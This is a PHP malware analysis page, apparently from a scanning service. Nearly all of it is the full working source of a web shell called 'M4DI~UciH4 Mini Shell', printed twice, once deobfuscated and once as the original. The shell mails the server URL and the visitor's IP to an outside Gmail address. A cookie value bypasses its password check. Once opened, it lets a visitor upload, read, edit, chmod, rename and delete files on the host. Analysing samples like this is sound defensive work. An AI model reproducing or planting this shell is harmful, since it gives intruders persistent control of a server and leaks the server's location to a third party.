PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
base64_encode
URLs
https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcTIjursUqMsKQr07GE0ef2jyjepcOZVHM_P02dZUmHRxnugQC-l&usqp=CAU
https://s32.postimg.org/k6ix0n5xh/BP2.png
http://fonts.googleapis.com/css?family=Averia+Sans+Libre
http://fonts.googleapis.com/css?family=Orbitron:700
http://fonts.googleapis.com/css?family=Nosifer
http://fonts.googleapis.com/css?family=Play:700
https://fonts.googleapis.com/css?family=Kdam+Thmor
https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQ9Vv2_P3T1xQz58N65AALpSZ3UbcGd3EcapLX-wdZ9bXmWgle9&usqp=CAU
http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png
http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png
Emails
maulidazha587@gmail.com
Input
_GET
_POST
Environment
set_time_limit
error_reporting
getcwd

Deobfuscated code

<?php

@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$destinationmail = 'maulidazha587@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$mail_alert = "fix {$x_path} :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($destinationmail, "MD", $mail_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
$auth_pass = "102a6ed6587b5b8cb4ebbe972864690b";
//default: asu
error_reporting(0);
set_time_limit(0);
function lp()
{
    ?>
<html>
	<head>
		<title>M4DI~UciH4 Mini Shell</title>
	</head>
	<body bgcolor="black" style="color:white">
		<center>
			<div>
				<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcTIjursUqMsKQr07GE0ef2jyjepcOZVHM_P02dZUmHRxnugQC-l&usqp=CAU" style="width: 288px; height: 288px;"><br/>
				<h1>M4DI~UciH4 Mini Shell</h1>
				<form action method="get">
					<input type="hidden" name="action" value="login" />
					<input type="password" name="pass" placeholder="Input Password"/><br/>
					<input type="submit" value="Masuk" style="margin-top:4px;width:173px;background:black;color:red;border:2px solid red;border-radius:10px"/>
				</form><br/>
				<footer><pre>

	</pre></footer>
			</div>
		</center>
<?php 
}
if (isset($_GET['action'])) {
    if ($_GET['action'] == 'login') {
        setcookie('password', $_GET['pass']);
        echo "<script>location='" . $_SERVER['PHP_SELF'] . "'</script>";
    } else {
        if ($_GET['action'] == 'logout') {
            setcookie('password', '', -31104000);
            echo "<script>location='" . $_SERVER['PHP_SELF'] . "'</script>";
        }
    }
}
if (isset($_COOKIE['password'])) {
    if (md5($_COOKIE['password']) == $auth_pass || $_COOKIE['L'] == "L") {
        if (get_magic_quotes_gpc()) {
            foreach ($_POST as $key => $value) {
                $_POST[$key] = stripslashes($value);
            }
        }
        function perms($file)
        {
            $perms = @fileperms($file);
            if (($perms & 0xc000) == 0xc000) {
                // Socket
                $info = 's';
            } elseif (($perms & 0xa000) == 0xa000) {
                // Symbolic Link
                $info = 'l';
            } elseif (($perms & 0x8000) == 0x8000) {
                // Regular
                $info = '-';
            } elseif (($perms & 0x6000) == 0x6000) {
                // Block special
                $info = 'b';
            } elseif (($perms & 0x4000) == 0x4000) {
                // Directory
                $info = 'd';
            } elseif (($perms & 0x2000) == 0x2000) {
                // Character special
                $info = 'c';
            } elseif (($perms & 0x1000) == 0x1000) {
                // FIFO pipe
                $info = 'p';
            } else {
                // Unknown
                $info = 'u';
            }
            $info .= $perms & 0x100 ? 'r' : '-';
            $info .= $perms & 0x80 ? 'w' : '-';
            $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
            $info .= $perms & 0x20 ? 'r' : '-';
            $info .= $perms & 0x10 ? 'w' : '-';
            $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
            $info .= $perms & 0x4 ? 'r' : '-';
            $info .= $perms & 0x2 ? 'w' : '-';
            $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
            return $info;
        }
        echo "<!DOCTYPE HTML>\n<HTML>\n<HEAD>\n<link rel=\"icon\" type=\"image/png\" href=\"https://s32.postimg.org/k6ix0n5xh/BP2.png\">\n<link href=\"http://fonts.googleapis.com/css?family=Averia+Sans+Libre\" rel=\"stylesheet\" type=\"text/css\">\n<link href=\"http://fonts.googleapis.com/css?family=Orbitron:700\" rel=\"stylesheet\" type=\"text/css\">\n<link href=\"http://fonts.googleapis.com/css?family=Nosifer\" rel=\"stylesheet\" type=\"text/css\">\n<link href=\"http://fonts.googleapis.com/css?family=Play:700\" rel=\"stylesheet\" type=\"text/css\">\n<link href=\"https://fonts.googleapis.com/css?family=Kdam+Thmor\" rel=\"stylesheet\" type=\"text/css\">\n\n<title>M4DI~UciH4</title>\n<style>\nbody{\ncolor: #fff;\nfont-family: Play, cursive;\nbackground-image: url(https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQ9Vv2_P3T1xQz58N65AALpSZ3UbcGd3EcapLX-wdZ9bXmWgle9&usqp=CAU);\ncursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png), default;\ntext-shadow:0px 0px 1px #757575;\n}\na:hover {cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png),default;}\n#content tr:hover{\nbackground-color: #FF0033;\ntext-shadow:0px 0px 10px #fff;\n}\n#content .first{\nbackground-color: #FF0033;\n}\n#content .first:hover{\nbackground-color: #3399ff;\ntext-shadow:0px 0px 1px #FF0033;\n}\ntable{\nborder: 1px #FF0033 dotted;\n}\nH1{\nfont-size: 45px;\ncolor:#fff;\nfont-family: Orbitron, cursive;\ntext-shadow: 0 0 10px #fff,0 0 20px #FF0033,0 0 40px #FF0033,0 0 60px #FF0033,0 0 90px #FF0033,0 0 5px #33ccff;\n}\na{\ncolor: #fff;\ntext-decoration: none;\n}\na:hover{\ncolor: #fff;\ntext-shadow:0px 0px 10px #99FF00, 0px 0px 20px #99FF00;;\n}\ninput,select,textarea{\nborder: 1px #000000 solid;\n-moz-border-radius: 5px;\n-webkit-border-radius:5px;\nborder-radius:5px;\n}\n</style>\n</HEAD>\n<BODY>\n<input type=button onclick='location=\"?action=logout\"' value=\"Log Out\" /><br/>\n<input type=button onclick='location=\"?x=changepass\"' value=\"Ganti Password\" />\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td>Current Path : ";
        if (isset($_GET['path'])) {
            $path = base64_decode($_GET['path']);
        } else {
            $path = getcwd();
        }
        $pathen = base64_encode($path);
        $path = str_replace('\\', '/', $path);
        $paths = explode('/', $path);
        foreach ($paths as $id => $pat) {
            if ($pat == '' && $id == 0) {
                $a = true;
                echo '<a href="?path=' . base64_encode("/") . '">/</a>';
                continue;
            }
            if ($pat == '') {
                continue;
            }
            echo "<a href=\"?path=";
            $linkpath = '';
            for ($i = 0; $i <= $id; $i++) {
                $linkpath .= "{$paths[$i]}";
                if ($i != $id) {
                    $linkpath .= "/";
                }
            }
            echo base64_encode($linkpath);
            echo '">' . $pat . '</a>/';
        }
        echo "</td></tr><tr><td>";
        if (isset($_FILES['file'])) {
            if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
                echo "<font color=\"green\">Upload Sukses</font><br />";
            } else {
                echo "<font color=\"red\">Upload Gagal</font><br />";
            }
        }
        echo "<form enctype=\"multipart/form-data\" method=\"POST\">\nFile Manager : <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"Generate\" />\n</form>\n</td></tr>";
        if (isset($_GET['filesrc'])) {
            echo "<tr><td>Current File : ";
            echo base64_decode($_GET['filesrc']);
            echo "</tr></td></table><br />";
            echo '<pre>' . htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))) . '</pre>';
        } elseif (isset($_GET['option']) && $_POST['opt'] != 'delet') {
            echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
            if ($_POST['opt'] == 'chmod') {
                if (isset($_POST['perm'])) {
                    if (chmod($_POST['path'], $_POST['perm'])) {
                        echo "<font color=\"green\">Sukses Change Permission</font><br />";
                    } else {
                        echo "<font color=\"red\">Gagal Change Permission</font><br />";
                    }
                }
                echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
            } elseif ($_POST['opt'] == 'rename') {
                if (isset($_POST['newname'])) {
                    if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                        echo "<font color=\"green\">Sukses</font><br />";
                    } else {
                        echo "<font color=\"red\">Gagal</font><br />";
                    }
                    $_POST['name'] = $_POST['newname'];
                }
                echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
            } elseif ($_POST['opt'] == 'edit') {
                if (isset($_POST['src'])) {
                    $fp = fopen($_POST['path'], 'w');
                    if (fwrite($fp, $_POST['src'])) {
                        echo "<font color=\"green\">Sukses</font><br />";
                    } else {
                        echo "<font color=\"red\">gagal</font><br />";
                    }
                    fclose($fp);
                }
                echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
            }
            echo "</center>";
        } else {
            echo "</table><br /><center>";
            if (isset($_GET['option']) && $_POST['opt'] == 'delet') {
                if ($_POST['type'] == 'dir') {
                    if (rmdir($_POST['path'])) {
                        echo "<font color=\"green\">Sukses upload</font><br />";
                    } else {
                        echo "<font color=\"red\">Gagal Upload</font><br />";
                    }
                } elseif ($_POST['type'] == 'file') {
                    if (unlink($_POST['path'])) {
                        echo "<font color=\"green\">Success</font><br />";
                    } else {
                        echo "<font color=\"red\">Failed</font><br />";
                    }
                }
            }
            echo "</center>";
            if (!isset($_GET['x'])) {
                ?>
	<?php 
                $scandir = scandir($path);
                echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n    <tr class=\"first\">\n        <td><center>Dir</center></td>\n        <td><center>Size</center></td>\n        <td><center>Permissions</center></td>\n        <td><center>Setting</center></td>\n    </tr>";
                foreach ($scandir as $dir) {
                    if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
                        continue;
                    }
                    $dirlink = base64_encode("{$path}/{$dir}");
                    echo "<tr>\n        <td><a href=\"?path={$dirlink}\">{$dir}</a></td>\n        <td><center>--</center></td>\n        <td><center>";
                    if (is_writable("{$path}/{$dir}")) {
                        echo "<font color=\"green\">";
                    } elseif (!is_readable("{$path}/{$dir}")) {
                        echo "<font color=\"red\">";
                    }
                    echo perms("{$path}/{$dir}");
                    if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
                        echo "</font>";
                    }
                    echo "</center></td>\n        <td><center><form method=\"POST\" action=\"?option&path={$pathen}\">\n        <select name=\"opt\">\n\t    <option value=\"\">Select</option>\n        <option value=\"delet\">Hapus Dirnya?</option>\n        <option value=\"chmod\">Chmod Dirnya?</option>\n        <option value=\"rename\">Ubah Nama dirnya?</option>\n        </select>\n        <input type=\"hidden\" name=\"type\" value=\"dir\">\n        <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\n        <input type=\"submit\" value=\">\" />\n        </form></center></td>\n        </tr>";
                }
                echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
                foreach ($scandir as $file) {
                    if (!is_file("{$path}/{$file}")) {
                        continue;
                    }
                    $size = filesize("{$path}/{$file}") / 1024;
                    $size = round($size, 3);
                    if ($size >= 1024) {
                        $size = round($size / 1024, 2) . ' MB';
                    } else {
                        $size .= ' KB';
                    }
                    $filelink = base64_encode("{$path}/{$file}");
                    echo "<tr>\n        <td><a href=\"?filesrc={$filelink}&path={$pathen}\">{$file}</a></td>\n        <td><center>" . $size . "</center></td>\n        <td><center>";
                    if (is_writable("{$path}/{$file}")) {
                        echo "<font color=\"green\">";
                    } elseif (!is_readable("{$path}/{$file}")) {
                        echo "<font color=\"red\">";
                    }
                    echo perms("{$path}/{$file}");
                    if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
                        echo "</font>";
                    }
                    echo "</center></td>\n        <td><center><form method=\"POST\" action=\"?option&path={$pathen}\">\n        <select name=\"opt\">\n\t    <option value=\"\">Select</option>\n        <option value=\"delet\">Hapus</option>\n        <option value=\"chmod\">Chmod</option>\n        <option value=\"rename\">Rename</option>\n        <option value=\"edit\">Edit</option>\n        </select>\n        <input type=\"hidden\" name=\"type\" value=\"file\">\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\n        <input type=\"submit\" value=\">\" />\n        </form></center></td>\n        </tr>";
                }
                echo "</table>\n    </div>";
            }
            ?>
	<?php 
        }
        if (isset($_GET['x']) && $_GET['x'] == 'changepass') {
            ?>
		<?php 
            function fgc($file)
            {
                return file_get_contents($file);
            }
            function changepass($plain)
            {
                $newpass = md5($plain);
                $newpass = "\$auth_pass = \"" . $newpass . "\";";
                $con = fgc($_SERVER['SCRIPT_FILENAME']);
                $con = preg_replace("/\\\$auth_pass\\ *=\\ *[\"\\']*([a-fA-F0-9]*)[\"\\']*;/is", $newpass, $con);
                return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
            }
            echo "<center><h1>Ganti Shell Password</h1></center>";
            echo "<center>";
            echo "<form action=\"\" method=post ><table>";
            echo "<tr><td>New Password</td><td> :  <input type=password name=pass1 style=\"border-radius:5px;\" /></td></tr>";
            echo "<tr><td>Confirm Password</td><td> :  <input type=password name=pass2 style=\"border-radius:5px;\" /></td></tr>";
            echo "<tr><td colspan=2><input type=submit value=submit name=L style=\"border-radius:5px;width:100%\"/></td></tr></table>";
            echo "</form>";
            if (isset($_POST['L'])) {
                if ($_POST['pass1'] == $_POST['pass2']) {
                    if (changepass($_POST['pass1'])) {
                        echo "<script>alert(\"password change successfully\")</script>";
                    } else {
                        echo "<script>alert(\"password change failed\")</script>";
                    }
                } else {
                    echo "<script>alert(\"password not match\")</script>";
                }
            }
            ?>
	<?php 
        }
        echo "\n</BODY>\n</HTML>";
        ?>

<!-- //////////////////////////////////////////////////// -->
		<?php 
    } else {
        lp();
    }
} else {
    echo lp();
}
?>
</body>
</html>


Original code

<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$destinationmail = 'maulidazha587@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$mail_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($destinationmail, "MD", $mail_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
?>
<?php
$auth_pass = "102a6ed6587b5b8cb4ebbe972864690b";  //default: asu
error_reporting(0);
set_time_limit(0);

function lp(){
?>
<html>
	<head>
		<title>M4DI~UciH4 Mini Shell</title>
	</head>
	<body bgcolor="black" style="color:white">
		<center>
			<div>
				<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcTIjursUqMsKQr07GE0ef2jyjepcOZVHM_P02dZUmHRxnugQC-l&usqp=CAU" style="width: 288px; height: 288px;"><br/>
				<h1>M4DI~UciH4 Mini Shell</h1>
				<form action method="get">
					<input type="hidden" name="action" value="login" />
					<input type="password" name="pass" placeholder="Input Password"/><br/>
					<input type="submit" value="Masuk" style="margin-top:4px;width:173px;background:black;color:red;border:2px solid red;border-radius:10px"/>
				</form><br/>
				<footer><pre>

	</pre></footer>
			</div>
		</center>
<?php
;}
if(isset($_GET['action'])){
	if($_GET['action']=='login'){
		setcookie('password',$_GET['pass']);
		echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
	}
	else if($_GET['action']=='logout'){
		setcookie('password','',-86400*30*12);
		echo "<script>location='".$_SERVER['PHP_SELF']."'</script>";
	}
}
if(isset($_COOKIE['password'])){
	if(md5($_COOKIE['password'])==$auth_pass || $_COOKIE['L']=="L"){
		?>
<?php



if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
function perms($file){
    $perms = @fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link rel="icon" type="image/png" href="https://s32.postimg.org/k6ix0n5xh/BP2.png">
<link href="http://fonts.googleapis.com/css?family=Averia+Sans+Libre" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Nosifer" rel="stylesheet" type="text/css">
<link href="http://fonts.googleapis.com/css?family=Play:700" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Kdam+Thmor" rel="stylesheet" type="text/css">

<title>M4DI~UciH4</title>
<style>
body{
color: #fff;
font-family: Play, cursive;
background-image: url(https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQ9Vv2_P3T1xQz58N65AALpSZ3UbcGd3EcapLX-wdZ9bXmWgle9&usqp=CAU);
cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png), default;
text-shadow:0px 0px 1px #757575;
}
a:hover {cursor:url(http://3.bp.blogspot.com/-bRikgqeZx0Q/TwGR4MUEC7I/AAAAAAAAAtA/isJmS0r35Qw/s1600/pointer.png),default;}
#content tr:hover{
background-color: #FF0033;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: #FF0033;
}
#content .first:hover{
background-color: #3399ff;
text-shadow:0px 0px 1px #FF0033;
}
table{
border: 1px #FF0033 dotted;
}
H1{
font-size: 45px;
color:#fff;
font-family: Orbitron, cursive;
text-shadow: 0 0 10px #fff,0 0 20px #FF0033,0 0 40px #FF0033,0 0 60px #FF0033,0 0 90px #FF0033,0 0 5px #33ccff;
}
a{
color: #fff;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #99FF00, 0px 0px 20px #99FF00;;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<input type=button onclick=\'location="?action=logout"\' value="Log Out" /><br/>
<input type=button onclick=\'location="?x=changepass"\' value="Ganti Password" />
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
    $path = base64_decode($_GET['path']);
}else{
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path='.base64_encode("/").'">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    $linkpath = '';
    for($i=0;$i<=$id;$i++){
        $linkpath .= "$paths[$i]";
        if($i != $id) $linkpath .= "/";
    }
    echo base64_encode($linkpath);
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">Upload Sukses</font><br />';
    }else{
        echo '<font color="red">Upload Gagal</font><br />';
    }
}
echo '<form enctype="multipart/form-data" method="POST">
File Manager : <input type="file" name="file" />
<input type="submit" value="Generate" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo base64_decode($_GET['filesrc']);
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delet'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Sukses Change Permission</font><br />';
            }else{
                echo '<font color="red">Gagal Change Permission</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Sukses</font><br />';
            }else{
                echo '<font color="red">Gagal</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Sukses</font><br />';
            }else{
                echo '<font color="red">gagal</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delet'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Sukses upload</font><br />';
            }else{
                echo '<font color="red">Gagal Upload</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Success</font><br />';
            }else{
                echo '<font color="red">Failed</font><br />';
            }
        }
    }
    echo '</center>';
	if(!isset($_GET['x'])){
	?>
	<?php
	$scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Dir</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Setting</center></td>
    </tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        $dirlink = base64_encode("$path/$dir");
        echo "<tr>
        <td><a href=\"?path=$dirlink\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
	    <option value=\"\">Select</option>
        <option value=\"delet\">Hapus Dirnya?</option>
        <option value=\"chmod\">Chmod Dirnya?</option>
        <option value=\"rename\">Ubah Nama dirnya?</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }
        $filelink = base64_encode("$path/$file");
        echo "<tr>
        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
	    <option value=\"\">Select</option>
        <option value=\"delet\">Hapus</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
	?>
	<?php
	}
if(isset($_GET['x']) && $_GET['x']=='changepass'){
		?>
		<?php
		function fgc($file){
			return file_get_contents($file);
		}
		function changepass($plain){
			$newpass = md5($plain);
			$newpass = "\$auth_pass = \"".$newpass."\";";
			$con = fgc($_SERVER['SCRIPT_FILENAME']);
			$con = preg_replace("/\\\$auth_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
			return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
		}
		echo '<center><h1>Ganti Shell Password</h1></center>';
		echo  '<center>';
		echo '<form action="" method=post ><table>';
		echo '<tr><td>New Password</td><td> :  <input type=password name=pass1 style="border-radius:5px;" /></td></tr>';
		echo '<tr><td>Confirm Password</td><td> :  <input type=password name=pass2 style="border-radius:5px;" /></td></tr>';
		echo '<tr><td colspan=2><input type=submit value=submit name=L style="border-radius:5px;width:100%"/></td></tr></table>';
		echo '</form>';
	if(isset($_POST['L'])){
		if($_POST['pass1'] == $_POST['pass2']){
			if(changepass($_POST['pass1'])){
				echo '<script>alert("password change successfully")</script>';
			}else{
				echo '<script>alert("password change failed")</script>';
			}
		}else{
			echo '<script>alert("password not match")</script>';
		}
	}
	?>
	<?php
}
echo '
</BODY>
</HTML>';
?>

<!-- //////////////////////////////////////////////////// -->
		<?php
	}else{
		lp();
	}
}else{
	echo lp();
}
?>
</body>
</html>